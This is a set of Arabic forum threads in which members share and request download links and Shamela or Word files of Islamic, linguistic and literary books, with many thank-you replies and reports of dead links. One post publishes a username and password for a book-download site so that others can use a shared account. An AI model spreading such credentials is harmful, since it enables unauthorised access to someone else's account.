التصحيف و التحريف و المستشرقين؟
ـ[أبو عبد الرحمن الطاهر]ــــــــ[08 - 09 - 08, 01:22 م]ـ
هل قام أحد من المستشرقين بتصنيف كتاب
في التصحيف والتحريف؟(61/95)
بعض إرشاد الساري / القسطلاني (وورد)
ـ[الطيماوي]ــــــــ[08 - 09 - 08, 01:59 م]ـ
كنت قد أعطيته لمجوعة من الاخوة للعمل عليه وهذا المجلد انتهى منه أحدهم مشكورا
المجلد السادس
ملاحظات:
1 - المجلد ينقصه حوالي ثمان صفحات لم تكتب وهي في أسفل الملف مبينه بكلمة فيه نقص
2 - تم ترميز المجلج وفق النسخة المصورة ولا ينقصه سوى السحب على الشاملة ليكون موافق للمطبوع من حيث رقم الجزء ورقم الصفحة.
ـ[احسني جفني]ــــــــ[08 - 09 - 08, 04:13 م]ـ
يا اخي لو تكرمت بوضعها تماما ............
ـ[عبد الله الدكالي]ــــــــ[08 - 09 - 08, 04:19 م]ـ
جزاك الله خيرا، ووفقك لإتمام هذا العمل المفيد.
ـ[أبو عبد الرحمن الطاهر]ــــــــ[08 - 09 - 08, 06:33 م]ـ
بارك الله فيك وجزاك خيرا
نرجوها كاملا يا أخانا الطيماوي وموافقا للمطبوع
الله يجزيك
ـ[الطيماوي]ــــــــ[23 - 06 - 09, 01:08 ص]ـ
ما بين يدي منه
6+7 وبعض الأول
http://download.kinguploader.com/Download.aspx?9222#1111-rar
ـ[محجوبي محمد صلاح الدين]ــــــــ[05 - 11 - 09, 01:18 م]ـ
اللهم أعن أخانا الطيماوي على إنجازه وإكماله ويسر له كل ما يتمنى من أمور الدنيا والآخرة
ـ[علي الأثري]ــــــــ[06 - 11 - 09, 01:31 م]ـ
جزاكم الله خيراً أخي الطيماوي، وننتظر بقية الكتاب.
ـ[علي الأثري]ــــــــ[10 - 11 - 09, 12:59 م]ـ
للرفع، عسى أن يكمل الكتاب.
وجزاكم الله خيرا أخي الطيماوي
ـ[ايهاب اسماعيل]ــــــــ[05 - 02 - 10, 11:03 م]ـ
عسى أن يكمل الكتاب وجزاكم الله خيرا أخي الطيماوي
ـ[أبو عبد الرحمن النجدي السلفي]ــــــــ[06 - 05 - 10, 02:59 ص]ـ
هذا العمل جيد، نرجوا أن يستمر وأن يوفق القائمون عليه.
ـ[أبو سيد الباحث]ــــــــ[31 - 07 - 10, 08:05 ص]ـ
أرجو وضع نسخة من الكتاب تكون صالحة للعمل على المكتبة الشاملة وفقكم الله
ـ[أبو سيد الباحث]ــــــــ[31 - 07 - 10, 08:08 ص]ـ
الله يوفقك أخي الكريم الطيماوي
أنت صاحب فضل كبير عليّ وكذلك الإخوان هنا وفي المجلس العلمي والوقفية
بارك الله فيكم جميعا وجزاكم الله عن الإسلام خيرا
ـ[محمديامين منيرأحمدالقاسمي]ــــــــ[01 - 08 - 10, 11:32 ص]ـ
كنت قد أعطيته لمجوعة من الاخوة للعمل عليه وهذا المجلد انتهى منه أحدهم مشكورا
المجلد السادس
ملاحظات:
1 - المجلد ينقصه حوالي ثمان صفحات لم تكتب وهي في أسفل الملف مبينه بكلمة فيه نقص
2 - تم ترميز المجلج وفق النسخة المصورة ولا ينقصه سوى السحب على الشاملة ليكون موافق للمطبوع من حيث رقم الجزء ورقم الصفحة.
ياشيخ الطيماوي
السلام عليكم ورحمة الله وبركاته
وبعد
من فضلك دلني وأعطني برنامجايمكن لي بمساعدتهاملفات وورد
لأنني أحمل ولكن لم يفتح الملف وورد عندي في وردبيد
شكرا وجزاكم الله
ـ[أبو روضة الأزهري]ــــــــ[07 - 11 - 10, 07:21 م]ـ
اللهم يسر إتمام هذا العمل
ـ[الطيماوي]ــــــــ[08 - 11 - 10, 11:50 ص]ـ
الكتاب ارسلت ما بين يدي من لنافع منذ فترة واكمل هو وفريق عمله الباقي فيما احسب
وسينزل بإذن الله كاملا موافقا للمطبوع في نسخة نافع للشاملة المنتظرة بإذن الله
ـ[محمديامين منيرأحمدالقاسمي]ــــــــ[08 - 11 - 10, 12:09 م]ـ
ياشيخ الطيماوي
السلام عليكم ورحمة الله وبركاته
وبعد
من فضلك دلني وأعطني برنامجايمكن لي بمساعدتهاملفات وورد
لأنني أحمل ولكن لم يفتح الملف وورد عندي في وردبيد
شكرا وجزاكم الله(61/96)
مطلوب: صلة الخلف بموصول السلف pdf
ـ[أبو العباس السوسي]ــــــــ[08 - 09 - 08, 04:34 م]ـ
رجاء من يتكرم علي بإعادة تنزيل كتاب "صلة الخلف بموصول السلف " لمحمد بن سليمان الروداني، نشر محمد حجي، دار الغرب الاسلامي، بيروت.
ـ[أبو العباس السوسي]ــــــــ[09 - 09 - 08, 04:41 م]ـ
للرفع للأهمية
ـ[ saead] ــــــــ[09 - 09 - 08, 04:48 م]ـ
هاهو أخي تفضل في المرفقات
فقط دعائك لي ولك وللمسلمين بالفردوس الاعلى
ـ[أبو العباس السوسي]ــــــــ[09 - 09 - 08, 05:10 م]ـ
بارك الله فيك وأثابك في هذا الشهر الفضيل، وجعل هذا العمل في ميزان حسناتك يوم لا ينفع مال ولا بنون ..
هكذا هكذا وإلا فلا لا ..
ـ[ saead] ــــــــ[09 - 09 - 08, 05:23 م]ـ
وفيك بارك الله اسعدني عذب كلامك وانا في الخدمة
ـ[الطيماوي]ــــــــ[27 - 01 - 09, 03:44 م]ـ
هل للكتاب نسخة وورد أو شاملة أم لا
أفيدونا مأجورين وبارك الله فيكم
ـ[منير الجزائري]ــــــــ[07 - 02 - 09, 08:01 م]ـ
بارك الله فيكم وفي جهودكم
ـ[الطيماوي]ــــــــ[08 - 02 - 09, 03:28 ص]ـ
هل للكتاب نسخة وورد أو شاملة أم لا
أفيدونا مأجورين وبارك الله فيكم(61/97)
الآن: اقوى برنامج للقرآن الكريم 3 d ( محاكاة تامة للواقع وجودة عالية جداً في الصورة)
ـ[ saead] ــــــــ[08 - 09 - 08, 06:17 م]ـ
بسم الله الرحمن الرحيم
الحمد لله والصلاة والسلام على رسول الله وعلى آله وصحبه اجمعين ..
البرنامج الذي نستعرضه في هذا الموضوع من اجمل البرامج ان لم يكن اجملها ..
فهو برنامج يحوي كتاب الله سبحانه وتعالى لكن بطريقة فريدة ومتميزة جداً
الطريقة هي انك تتصفح كتاب الله كأنه امامك بل وكأنك تمسك به ..
طبعا البعض قد يقول قد تم هذا في برامج سابقه ولكن الفرق هنا يكمن في:
1 - الجودة العالية جداً للصورة
2 - المحاكاة الواقعية لحركة تغيير الصفحة
3 - التحكم التام بزوايا الرؤية الكاملة والتامة
طبعا الكلام السابق قد لا يعبر عن وصف هذا البرنامج بالشكل الكافي لذالك اضفت بعض الصور
مع العلم بانها ايضاً لن تكفي ولن يكفيك بحق الا تجربة هذا البرنامج الرائع بحق
http://www.absba.org/showthread.php?t=637101
ـ[إسماعيل سعد]ــــــــ[08 - 09 - 08, 07:07 م]ـ
جزاكم الله خيرا
ـ[احمدعاطف]ــــــــ[08 - 09 - 08, 08:54 م]ـ
شكرا لك بارك الله فيك
ـ[خليل إبراهيم]ــــــــ[09 - 09 - 08, 02:15 ص]ـ
بارك الله فيكم ونفع بكم وتقبل صالح أعمالكم
ـ[ saead] ــــــــ[09 - 09 - 08, 09:11 ص]ـ
وجزاكم الله خيرا جميعا وأحسن إليكم وغفر لوالديكم وتقبل صالح أعمالكم
ـ[ابو زكريا]ــــــــ[09 - 09 - 08, 04:34 م]ـ
بارك الله في سعيك
ـ[ saead] ــــــــ[09 - 09 - 08, 04:38 م]ـ
وبارك في سعيك
ـ[أبو صهيب أشرف المصري]ــــــــ[09 - 09 - 08, 04:51 م]ـ
بوركتم
ـ[ saead] ــــــــ[09 - 09 - 08, 04:56 م]ـ
وبارك فيك(61/98)
حمل: كشف باسماء فهارس المخطوطات لى 27 دولة pdf
ـ[أبو عبدالله محمد]ــــــــ[08 - 09 - 08, 06:46 م]ـ
السلام عليكم ورحمة الله وبركاته
كشف فهارس المخطوطات بمركز الخدمات والابحاث الثقافية
وهو عبارة عن قائمة اسماء الفهارس الموجودة فى مركز الخدمات والابحاث الثقافية -بيروت
وتحتوى على اسماء فهارس طبعة لى 27 دولة.
ـ[احمدعاطف]ــــــــ[08 - 09 - 08, 08:52 م]ـ
شكرا لك بارك الله فيك(61/99)
مسند المقلين من الأمراء والسلاطين لتمام الدمشقي Pdf
ـ[أبو أنس الأزهري]ــــــــ[08 - 09 - 08, 06:52 م]ـ
اسم الكتاب: مسند المقلين من الأمراء والسلاطين
المؤلف: أبو القاسم تمام بن محمد الدمشقي (414 هـ)
تحقيق: مجدي فتحي السيد
دار النشر: دار الصحابة للتراث
الطبعة: 1410 - 1989
رابط التحميل:
اضغط: (حفظ باسم) أو ( Save target as)
http://ia311241.us.archive.org/1/items/MusnadAlMoqellen_/pdf
ولا تنسونا من الدعاء
ـ[أبو عبدالرحمن مصطفي]ــــــــ[09 - 09 - 08, 04:03 م]ـ
جزاك الله خيراً
ـ[محمود بن الشامي]ــــــــ[12 - 10 - 08, 06:24 م]ـ
الرابط لا يعمل أحسن الله إليكم
ـ[أبوسلمة السلفي]ــــــــ[12 - 10 - 08, 06:38 م]ـ
رابط جديد
ـ[محمود بن الشامي]ــــــــ[12 - 10 - 08, 06:56 م]ـ
جزاكم الله خيراً(61/100)
حملوا كتابي الجديد ((المنجيات من النار)) للشاملة 3+ ورد مفهرساً
ـ[علي 56]ــــــــ[08 - 09 - 08, 10:10 م]ـ
((حقوق الطبع متاحة لجميع الهيئات العلمية والخيرية))
بسم الله الرحمن الرحيم
الحمد لله رب العالمين، والصلاة والسلام على سيد الأنبياء والمرسلين، وعلى آله وصحبه أجمعين، ومن تبعهم بإحسان إلى يوم الدين.
أما بعد:
فإنه قد وردت أقوال أو أعمال من فعلها فقد وقى نفسه من النار ومن حرها وسمومها، وهي عديدة.
قال تعالى: {إِنَّ الَّذِينَ سَبَقَتْ لَهُمْ مِنَّا الْحُسْنَى أُولَئِكَ عَنْهَا مُبْعَدُونَ (101) لَا يَسْمَعُونَ حَسِيسَهَا وَهُمْ فِي مَا اشْتَهَتْ أَنْفُسُهُمْ خَالِدُونَ (102) لَا يَحْزُنُهُمُ الْفَزَعُ الْأَكْبَرُ وَتَتَلَقَّاهُمُ الْمَلَائِكَةُ هَذَا يَوْمُكُمُ الَّذِي كُنْتُمْ تُوعَدُونَ (103)} [الأنبياء/101 - 103]
وعَنْ أَبِى رَيْحَانَةَ: أَنَّهُ كَانَ مَعَ رَسُولِ اللَّهِ -صلى الله عليه وسلم- فِى غَزْوَةٍ فَسَمِعَهُ ذَاتَ لَيْلَةٍ وَهُوَ يَقُولُ: «حُرِّمَتِ النَّارُ عَلَى عَيْنٍ سَهِرَتْ فِى سَبِيلِ اللَّهِ، وَحُرِّمَتِ النَّارُ عَلَى عَيْنٍ دَمَعَتْ مِنْ خَشْيَةِ اللَّهِ». قَالَ: وَقَالَ الثَّالِثَةَ فَنَسِيتُهَا. قَالَ أَبُو شُرَيْحٍ سَمِعْتُ مَنْ يَقُولُ ذَاكَ: «حُرِّمَتِ النَّارُ عَلَى عَيْنٍ غَضَّتْ عَنْ مَحَارِمِ اللَّهِ، أَوْ عَيْنٍ فُقِئَتْ فِى سَبِيلِ اللَّهِ عَزَّ وَجَلَّ». سنن الدارمى (2455) حسن
وقد حاولت جمعها من القرآن والسنَّة، وقمت بشرح مختصر للآيات القرآنية، وبتخريج الأحاديث من مظانها والحكم عليها إذا لم تكن في الصحيحين بما يناسبها، وغالبها من الصحيح والحسن.
سائلا المولى أن ينفع بها كاتبها وقارئها وناشرها والدال عليها في الدارين.
جمع وإعداد
الباحث في القرآن والسنة
علي بن نايف الشحود
في 4 رمضان 1429 هـ الموافق ل 4/ 9/2008 م
ـ[أبو عبد الله السني]ــــــــ[08 - 09 - 08, 10:17 م]ـ
جزاكم الله خيراً
جزاكم الله خيراً
جزاكم الله خيراً
جزاكم الله خيراً
جزاكم الله خيراً
ـ[علي 56]ــــــــ[09 - 09 - 08, 01:05 ص]ـ
وأنت أخي الحبيب
جزاك الله خيرا
ـ[أبوعمرو المصري]ــــــــ[09 - 09 - 08, 04:23 ص]ـ
جزاك الله خيرا وبارك الله في عمرك ووقتك وأهلك وأولادك.
ـ[علي 56]ــــــــ[09 - 09 - 08, 05:04 ص]ـ
وأنت أخي الحبيب
جزاك الله خيرا وبارك الله في عمرك ووقتك وأهلك وأولادك
وأسعدك في الدارين(61/101)
رمضانيات المساهم (9): كتاب لغة القرآن دراسة توثيقية فنية (لأول مرة) Pdf
ـ[المساهم]ــــــــ[09 - 09 - 08, 02:31 ص]ـ
الكتاب التاسع
لغة القرآن دراسة توثيقية فنية
تأليف
د. أحمد مختار عمر
الكتاب ضمن سلسلة قاموس القرآن الكريم
التحميل
archive (http://www.archive.org/details/qamoos) أو adrive (http://www.adrive.com/public/0190006d5e6e60551fe60859e21a5d12117f32b493029e0744 ff932e829d36cb.html)
بطاقة الكتاب
العنوان: لغة القرآن دراسة توثيقية فنية.
المؤلف: د. أحمد مختار عمر.
دار النشر: مؤسسة الكويت للتقدم العلمي.
سنة الطبع: الطبعة الثانية (1418هـ / 1997م).
نوع التغليف: مجلد (264 صفحة)
ـ[طه محمد عبدالرحمن]ــــــــ[09 - 09 - 08, 02:52 ص]ـ
بارك الله فيك ..
ـ[خالد البعلبكي]ــــــــ[09 - 09 - 08, 04:54 ص]ـ
جزاك الله خيرا
وبارك الله بك
ـ[حمود بن يحيى]ــــــــ[09 - 09 - 08, 07:45 ص]ـ
أحسن الله إليك
ـ[أحمد أبو تسنيم]ــــــــ[09 - 09 - 08, 02:31 م]ـ
أحسن الله إليك وغفر لوالديك
ـ[أبو عبدالرحمن مصطفي]ــــــــ[09 - 09 - 08, 03:53 م]ـ
جزاكم الله خيراً
ـ[إبراهيم حسين]ــــــــ[09 - 09 - 08, 04:38 م]ـ
بارك الله فيك
ـ[ابو ز كريا الجزا ئري]ــــــــ[09 - 09 - 08, 04:44 م]ـ
بارك الله في أوقاتك و جزاك الله خيرا
ـ[سيد راضي علي]ــــــــ[10 - 09 - 08, 01:36 م]ـ
بارك الله فيك(61/102)
حمل: فهرس الفهارس المطبوعة للمخطوطات العربية في تركيا pdf
ـ[أبو عبدالله محمد]ــــــــ[09 - 09 - 08, 02:55 ص]ـ
السلام عليكم
فهرس الفهارس المطبوعة للمخطوطات العربية في تركيا pdf
للدكتور / شامل الشاهين
ـ[أم معين]ــــــــ[09 - 09 - 08, 04:52 ص]ـ
جزاكم الله خيرا
ـ[أبو عبد الرحمن العامري]ــــــــ[09 - 09 - 08, 07:08 ص]ـ
جزاكم الله خيرا
ـ[أبو عبدالرحمن مصطفي]ــــــــ[09 - 09 - 08, 03:42 م]ـ
بارك الله فيك
ـ[سيد راضي علي]ــــــــ[10 - 09 - 08, 01:37 م]ـ
جزاكم الله خيرا(61/103)
مجلة آفاق الثقافة والتراث وكتب أخرى مصورة للتحميل
ـ[هاني القزاز]ــــــــ[09 - 09 - 08, 03:38 ص]ـ
أحبتي في الله
السلام عليكم ورحمة الله
عثرت أثناء بحثي على شبكة المعلومات على أعداد مجلة آفاق الثقافة والتراث مصورة، وهي تكاد تكون كاملة، نشرها مركز جمعة الماجد، والموقع يحوي بالإضافة إلى ذلك بعض الكتب المصورة، وهو لا يحتاج أكثر من التسجيل، وهو يسير إن شاء الله.
أدعو الله أن ينفعكم به
هذا هو رابط الموقع http://www.almajidcenter.org/arabic/Pages/default.aspx
وهذا رابط مباشر لأعداد المجلة http://www.almajidcenter.org/Arabic/Pages/magazine.aspx
وهذا رابط مباشر لكتب المكتبة http://www.almajidcenter.org/arabic/Pages/elibrary.aspx
وهذا رابط آخر لمجموعة كتب مصورة متصلة بموقع الشيخ جمعة الماجد http://www.almajidcenter.org/Lists/published%20books/AllItems.aspx
ـ[إبراهيم أمين]ــــــــ[09 - 09 - 08, 11:31 ص]ـ
جزاكم الله خيرا
ـ[أبو عبد الله التطاون]ــــــــ[14 - 09 - 08, 10:18 م]ـ
جزاكم الله خيرا
ـ[حسن عبد الله]ــــــــ[15 - 09 - 08, 02:07 ص]ـ
بارك الله فيك وجزاك خيراً
ـ[إكرام شقرون]ــــــــ[15 - 09 - 08, 04:22 ص]ـ
جزاك الله خيرا، وسدّد خطاك.
ـ[أنس صبري]ــــــــ[18 - 09 - 08, 12:43 م]ـ
بارك الله فيك وجزاك الله خيرا وسدد خطاك
ـ[عمر محمد توفيق]ــــــــ[19 - 09 - 08, 01:20 ص]ـ
جزاكم الله خيرا(61/104)
موقعان أجنبيان للكتب العربية المصورة
ـ[هاني القزاز]ــــــــ[09 - 09 - 08, 03:55 ص]ـ
هذا ن رابطان لموقعين أجنبيين بهما كتب عربية مصورة
والموقع الأول لا بد فيه من التسجيل وهو يسير جداً، وهذا رابطه
http://uz-translations.net/?category=arabic
أما الموقع الثاني فلا يشترط فيه التسحيل والكتب فيه للتصفح فقط، وهذا رابطه http://www.scribd.com/browse
ـ[أبو عبد الله بن سعيد]ــــــــ[09 - 09 - 08, 04:46 ص]ـ
جزاك الله خيراً
ـ[أبو المعالي الأمزيلي]ــــــــ[09 - 09 - 08, 05:58 ص]ـ
جزاك الله خيراً
ـ[إبراهيم أمين]ــــــــ[09 - 09 - 08, 10:49 ص]ـ
أخي الحبيب جزاك الله خيرا، هل الموقع الأول لتحميل الكتب أم لبيعها؟ لأنني لم أجد أيقونة للتحميل، بل أيقونة إضافة إلى صندوق الكتب.
والله الموفق
ـ[إبراهيم أمين]ــــــــ[09 - 09 - 08, 11:15 ص]ـ
أخي الحبيب جزاك الله خيراً
في الموقع الأول، ابدأ باختيار اللغة العربية من القائمة على اليسار، وعندما يعجبك كتاب، اضغط على
Read all أسفل الكتاب على اليمين، ثم Download، سيحيلك الموقع إلى رابيد شير، ومن ثم التحميل
وبالجملة الكتب ليست جديدة وأغلبها قواميس وكتب تعليم اللغة العربية للأجانب.
كل عام وأنتم بخير
ـ[هاني القزاز]ــــــــ[09 - 09 - 08, 05:02 م]ـ
بل الموقع الأول للتحميل
بعد التسجيل في الموقع اضغط على read all يظهر لك رابط التحميل
ـ[الطيماوي]ــــــــ[09 - 09 - 08, 06:18 م]ـ
هل أنت متأكد أن بهما كتب عربية فقد تصفحت أول صفحات فلم أجد كتبا عربية
حبذا مثال أو رابط لأحد هذه الكتب العربية وبارك الله فيك.
ـ[ابونصرالمازري]ــــــــ[09 - 09 - 08, 06:29 م]ـ
بارك الله فيك.
ـ[هاني القزاز]ــــــــ[10 - 09 - 08, 03:31 ص]ـ
نعم الموقع به كتب عربية كثيرة وكلها متاحة للتحميل
اتبع الطريقة التي ذكرها الأخ إبراهيم أمين في أعلى الصفحة
وفقك الله لكل خير(61/105)
طريقة التسجيل في الموقع التركي للكتب المصورة
ـ[هاني القزاز]ــــــــ[09 - 09 - 08, 03:58 ص]ـ
أدخل اسم المستخدم من الشمال hajr
وكلمة المرور 987654
منقول من موقع شيعي
ـ[أحمد أبو عبدالله]ــــــــ[09 - 09 - 08, 04:29 ص]ـ
اخي اتحفنا بالرابط لاجرب
وفقك الله وياليتك تغير
طريقتك وترسله على الخاص لانه سوف يغيره غيرك ارسله على الخاص لمن يطلبه(61/106)
هنا كتب مكتبة المدينة الرقمية الجديدة للشاملة: حمل الآن
ـ[هاني القزاز]ــــــــ[09 - 09 - 08, 04:21 ص]ـ
أنوي إن شاء الله أن أرفع لإخواني ما أمكنني تحميله من موقع مكتبة المدينة الرقمية لإضافته إلى الشاملة
ولا يخفى على الباحث الأريب قيمة كتب هذا الموقع، فإنها جميعاً موافقة للمطبوع ومذيلة بالحواشي، وكتبها متنوعة بين التراث والحداثة.
لكن لي رجاء أن يتعاون معي من يرضى من الأخوة في تحويل كتب المكتبة إلى الشاملة، فإني سأرفعهاعلى هيئة txt ، خبرتي في التحويل للشاملة بحيث يكون ترقيم الشاملة موافقاً للمطبوع ضعيفة
وإن شاء الله سأرفع من الكتب ما يحتاجه إخواني
هذا بعض الكتب الجديدة وغالبها من ضنيع أخي عبد المعز
أرجو من المشرف تثبيت الموضوع
ومن الأخوة التفاعل
هذه عناوين بعض الكتب مجموعة في ملف واحد جاهزة للشاملة
المنصف لابن جني
البلغة في تراجم أئمة اللغة والنحو
التطبيق النحوي د عبده الراجحي
اللغة وعلم اللغة.
بغية الايضاح لتلخيص المفتاح في علوم البلاغة
في تاريخ الأدب الجاهلي د علي الجندي
الإيضاح في علوم البلاغة
الفلك الدائر على المثل السائر.
اللغة العربية معناها ومبناها د تمام حسان
المثل السائر في أدب الكاتب والشاعر
أوضح المسالك إلى ألفية ابن مالك.
علوم البلاغة البيان المعاني البديع.
علماً بأن بعض الكتب تحتاج إلى إعادة ترتيب ورقاتها بالتقديم والتأخير، وبعضها يحتاج أن يكون ترقيم الشاملة موافقاً للمطبوع
إذا وجدت من يتطوع لإكمال هذا المشروع معي فإن ذلك سيكون خيراً عظيماً إن شاء الله
حمل من هنا على بركة الله
http://www.4shared.com/file/62264680/81b4af9d/raqamiya_2.html
ـ[أبو عبد المعز]ــــــــ[09 - 09 - 08, 06:14 ص]ـ
بارك الله فيك يا أستاذ ...
وهذا "دستور الأخلاق في القرآن" للشيخ الدكتور دراز ... لعلها أفضل رسالة أنجزها أزهري في جامعات الغرب ...
ـ[أبو عبد المعز]ــــــــ[09 - 09 - 08, 06:20 ص]ـ
الألفاظ و المصطلحات المتعلقة بتوحيد الربوبية
ـ[أبو عبد المعز]ــــــــ[09 - 09 - 08, 06:29 ص]ـ
خصائص التراكيب دارسة تحليلية لمسائل علم المعاني
ـ[أبو عبد المعز]ــــــــ[09 - 09 - 08, 06:32 ص]ـ
اللغة
تأليف: ج. فندريس
ـ[خليل إبراهيم]ــــــــ[09 - 09 - 08, 09:24 ص]ـ
بارك الله فيك
ـ[عبد الغفور ميمون]ــــــــ[09 - 09 - 08, 10:22 ص]ـ
بارك الله فيكما .. شكرا جزيلا ..
ـ[الطيماوي]ــــــــ[09 - 09 - 08, 06:45 م]ـ
أنوي إن شاء الله أن أرفع لإخواني ما أمكنني تحميله من موقع مكتبة المدينة الرقمية لإضافته إلى الشاملة
ولا يخفى على الباحث الأريب قيمة كتب هذا الموقع، فإنها جميعاً موافقة للمطبوع ومذيلة بالحواشي، وكتبها متنوعة بين التراث والحداثة.
لكن لي رجاء أن يتعاون معي من يرضى من الأخوة في تحويل كتب المكتبة إلى الشاملة، فإني سأرفعهاعلى هيئة txt ، خبرتي في التحويل للشاملة بحيث يكون ترقيم الشاملة موافقاً للمطبوع ضعيفة
وإن شاء الله سأرفع من الكتب ما يحتاجه إخواني
هذا بعض الكتب الجديدة وغالبها من ضنيع أخي عبد المعز
أرجو من المشرف تثبيت الموضوع
ومن الأخوة التفاعل
هذه عناوين بعض الكتب مجموعة في ملف واحد جاهزة للشاملة
المنصف لابن جني
البلغة في تراجم أئمة اللغة والنحو
التطبيق النحوي د عبده الراجحي
اللغة وعلم اللغة.
بغية الايضاح لتلخيص المفتاح في علوم البلاغة
في تاريخ الأدب الجاهلي د علي الجندي
الإيضاح في علوم البلاغة
الفلك الدائر على المثل السائر.
اللغة العربية معناها ومبناها د تمام حسان
المثل السائر في أدب الكاتب والشاعر
أوضح المسالك إلى ألفية ابن مالك.
علوم البلاغة البيان المعاني البديع.
علماً بأن بعض الكتب تحتاج إلى إعادة ترتيب ورقاتها بالتقديم والتأخير، وبعضها يحتاج أن يكون ترقيم الشاملة موافقاً للمطبوع
إذا وجدت من يتطوع لإكمال هذا المشروع معي فإن ذلك سيكون خيراً عظيماً إن شاء الله
حمل من هنا على بركة الله
http://www.4shared.com/file/62264680/81b4af9d/raqamiya_2.html
الرابط للأسف لا يعمل معي الرجاء رفع الكتب على موقع آخر غير هذا وبارك الله فيك
وأنصحك بالرفع على هذا الموقع المتميز
http://www.up.iraqmaster.net/
ـ[هاني القزاز]ــــــــ[10 - 09 - 08, 03:28 ص]ـ
بل يعمل
فرجاء راجعه الآن
وإلا رفعته ثانية
والسلام عليكم ورحمة الله
ـ[أبو أكرم الحلبي]ــــــــ[10 - 09 - 08, 05:14 ص]ـ
بارك الله فيكم وجزاكم الجنة
نتمنى عدم العمل على الكتب الموجودة بالشاملة
وخاصة ما كان منها موافق للمطبوع؛ منعاً للتكرار
مثل كتاب: (أوضح المسالك إلى ألفية ابن مالك) فهو من كتب الموقع
تقبل اله منكم
ـ[هاني القزاز]ــــــــ[10 - 09 - 08, 06:15 م]ـ
هذا تحقيق آخر يا سيدي، مغاير للذي في الشاملة
والسلام عليم ورحمة الله
ـ[منير الجزائري]ــــــــ[11 - 09 - 08, 11:24 ص]ـ
بارك الله فيك
(يُتْبَع .. اقلب الصفحة)
(61/107)
ـ[أبو عبد المعز]ــــــــ[07 - 10 - 08, 03:49 م]ـ
حمل: ضياء السالك إلى أوضح المسالك -تأليف: محمد عبد العزيز النجار
الكتاب من مجهود أخي هاني القزاز ... وقد قمت على تنقيحه وفهرسته للشاملة ... ونحن ننتظر من هاني المئة الثانية .. بارك الله فيه.
ـ[أبو عبد الرحمن السبيلي]ــــــــ[07 - 10 - 08, 06:33 م]ـ
جزاك الله خيرا
ـ[سيد راضي علي]ــــــــ[15 - 10 - 08, 02:30 م]ـ
جزاك الله خيرا
ـ[محمد أبو عبد العزيز]ــــــــ[19 - 10 - 08, 09:50 م]ـ
جزى الله الجميع كل خير على جهودهم المباركة في هذا المجال
ـ[محمد مبروك عبدالله]ــــــــ[11 - 11 - 08, 08:04 م]ـ
كيف يتم تحميل كتاب من موقع المدينة الرقمية كاملا؟
ـ[أحمد محمد بسيوني]ــــــــ[11 - 11 - 08, 11:51 م]ـ
جزاكم الله خيرا، ونفع الله بكم
ـ[أبو عبد الرحمن الطاهر]ــــــــ[12 - 11 - 08, 09:17 م]ـ
بارك الله فيك
ـ[فوزى محمد أمين ملطان]ــــــــ[13 - 11 - 08, 11:38 ص]ـ
بارك الله فيك
ـ[عدنان الاسعد]ــــــــ[13 - 11 - 08, 03:32 م]ـ
سلمك الله.
ـ[ياسين مصطفى]ــــــــ[11 - 03 - 09, 03:26 م]ـ
أحتاج هذه الكتب ضروري جدا من على موقع جامعة المدينة الرقمية ولكني لا أستطيع التسجيل وحاولت كثيرا إلا أننى فشلت فأطلب من الإخوة الأفاضل المساعدة والكتب هي:
1 - المنهاج الواضح للبلاغة- حامد عوني
2 - النقد والبلاغة مطبوع ضمن "موسوعة الحضارة العربية الإسلامية" - شكري عياد
3 - في الأدب الحديث - عمر الدسوقي
4 - النظرات- مصطفى لطفي المنفلوطي
5 - الأسلوب - أحمد الشايب
6 - مصادر الشعر الجاهلي - ناصر الدين الأسد
7 - دراسة في نصوص العصر الجاهلي تحليل وتذوق- السيد أحمد عمارة
8 - نظرات في التمثيل البلاغي - محمود السيد شيخون.
9 - ملامح النقد الأدبي ومقاييسه في العصر الجاهلي - محمد عارف محمود حسين
10 - النقد الأدبي ومقاييسه خلال عهد الرسول صلى الله عليه وسلم وعصر الخلافة الراشدة - محمد عارف محمود حسين
11 - قبس من بلاغة الفاروق رضي الله عنه - علي البدري
12 - البديع عند الحريري- محمد بيلو أحمد أبوبكر
13 - أبو الحسن الرماني ومفهومه للإعجاز القرآني - أحمد جمال العمري
14 - البيان البلاغي عند العرب (معناه , أطواره) - عبد الحميد محمد العبيسي
15 - أبو بكر الباقلاني ومفهومه للإعجاز القرآني- أحمد جمال العمري
16 - البيان البلاغي عند العرب موضوعه .. مكانه من البلاغة - عبد الحميد محمد العبيسي
17 - التطور البلاغي لمبحث الفصل والوصل - عبد الله عبد الرحيم عسيلان
ـ[علي ابن جابر]ــــــــ[12 - 03 - 09, 05:19 ص]ـ
الرابط لايعمل هل من مساعد؟؟
ـ[محمد احمد الحقاني الافغاني]ــــــــ[12 - 03 - 09, 07:16 ص]ـ
أنوي إن شاء الله أن أرفع لإخواني ما أمكنني تحميله من موقع مكتبة المدينة الرقمية لإضافته إلى الشاملة
ولا يخفى على الباحث الأريب قيمة كتب هذا الموقع، فإنها جميعاً موافقة للمطبوع ومذيلة بالحواشي، وكتبها متنوعة بين التراث والحداثة.
لكن لي رجاء أن يتعاون معي من يرضى من الأخوة في تحويل كتب المكتبة إلى الشاملة، فإني سأرفعهاعلى هيئة txt ، خبرتي في التحويل للشاملة بحيث يكون ترقيم الشاملة موافقاً للمطبوع ضعيفة
وإن شاء الله سأرفع من الكتب ما يحتاجه إخواني
هذا بعض الكتب الجديدة وغالبها من ضنيع أخي عبد المعز
أرجو من المشرف تثبيت الموضوع
ومن الأخوة التفاعل
هذه عناوين بعض الكتب مجموعة في ملف واحد جاهزة للشاملة
المنصف لابن جني
البلغة في تراجم أئمة اللغة والنحو
التطبيق النحوي د عبده الراجحي
اللغة وعلم اللغة.
بغية الايضاح لتلخيص المفتاح في علوم البلاغة
في تاريخ الأدب الجاهلي د علي الجندي
الإيضاح في علوم البلاغة
الفلك الدائر على المثل السائر.
اللغة العربية معناها ومبناها د تمام حسان
المثل السائر في أدب الكاتب والشاعر
أوضح المسالك إلى ألفية ابن مالك.
علوم البلاغة البيان المعاني البديع.
علماً بأن بعض الكتب تحتاج إلى إعادة ترتيب ورقاتها بالتقديم والتأخير، وبعضها يحتاج أن يكون ترقيم الشاملة موافقاً للمطبوع
إذا وجدت من يتطوع لإكمال هذا المشروع معي فإن ذلك سيكون خيراً عظيماً إن شاء الله
حمل من هنا على بركة الله
http://www.4shared.com/file/62264680/81b4af9d/raqamiya_2.html
هذا الر ابط لا يعمل، بل يظهر الرسالة فيها:
(يُتْبَع .. اقلب الصفحة)
(61/108)
The file link that you requested is not valid.
ـ[راشد بن عبد الرحمن البداح]ــــــــ[12 - 03 - 09, 11:16 ص]ـ
عفوًا أخي هاني:
لا زلنا نشتكي من عدم اشتغال الرابط!!!
